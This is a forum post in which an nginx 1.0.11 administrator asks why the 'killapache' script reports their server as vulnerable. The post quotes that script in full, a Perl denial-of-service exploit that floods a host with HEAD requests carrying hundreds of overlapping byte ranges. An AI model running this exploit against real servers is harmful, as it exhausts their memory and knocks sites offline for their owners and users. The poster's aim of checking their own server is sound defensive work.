Doubt about killapache attack on nginx server

Hi, I am running nginx 1.0.11 standalone. Recently someone told me that
my
server is vulnerable to apache killer attack because when he run the
following script, it shows “host seems vuln”. I searched on this forum
and
found that “First of all, nginx doesn’t favor HEAD requests with
compression, so the exact mentioned attack doesn’t work against a
standalone
nginx installation.” Also, I checked the source file
“src/http/modules/ngx_http_range_filter_module.c”, I think it should
have
been patched to prevent handling malicious range requests. Any idea why
it
still shows “host seems vuln”? Thanks a lot!


killapache
script ---------------------------------------------------------------
use IO::Socket;

use Parallel::ForkManager;

sub usage {

print “Apache Remote Denial of Service (memory exhaustion)\n”;

print “by Kingcope\n”;

print “usage: perl killapache.pl [numforks]\n”;

print “example: perl killapache.pl www.example.com 50\n”;

}

sub killapache {

print “ATTACKING $ARGV[0] [using $numforks forks]\n”;

$pm = new Parallel::ForkManager($numforks);

$|=1;

srand(time());

$p = “”;

for ($k=0;$k<1300;$k++) {

$p .= “,5-$k”;

}

for ($k=0;$k<$numforks;$k++) {

my $pid = $pm->start and next;

$x = “”;

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                             PeerPort => "80",

                        Proto    => 'tcp');

$p = “HEAD / HTTP/1.1\r\nHost:
$ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection:
close\r\n\r\n”;

print $sock $p;

while(<$sock>) {

}

$pm->finish;

}

$pm->wait_all_children;

print “:pPpPpppPpPPppPpppPp\n”;

}

sub testapache {

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                             PeerPort => "80",

                        Proto    => 'tcp');

$p = “HEAD / HTTP/1.1\r\nHost:
$ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection:
close\r\n\r\n”;

print $sock $p;

$x = <$sock>;

if ($x =~ /Partial/) {

print “host seems vuln\n”;

return 1;

} else {

return 0;

}

}

if ($#ARGV < 0) {

usage;

exit;

}

if ($#ARGV > 1) {

$numforks = $ARGV[1];

} else {$numforks = 50;}

$v = testapache();

if ($v == 0) {

print “Host does not seem vulnerable\n”;

exit;

}

while(1) {

killapache();

}

Posted at Nginx Forum:
http://forum.nginx.org/read.php?2,260485,260485#msg-260485

This forum is not affiliated to the Ruby language, Ruby on Rails framework, nor any Ruby applications discussed here.

| Privacy Policy | Terms of Service | Remote Ruby Jobs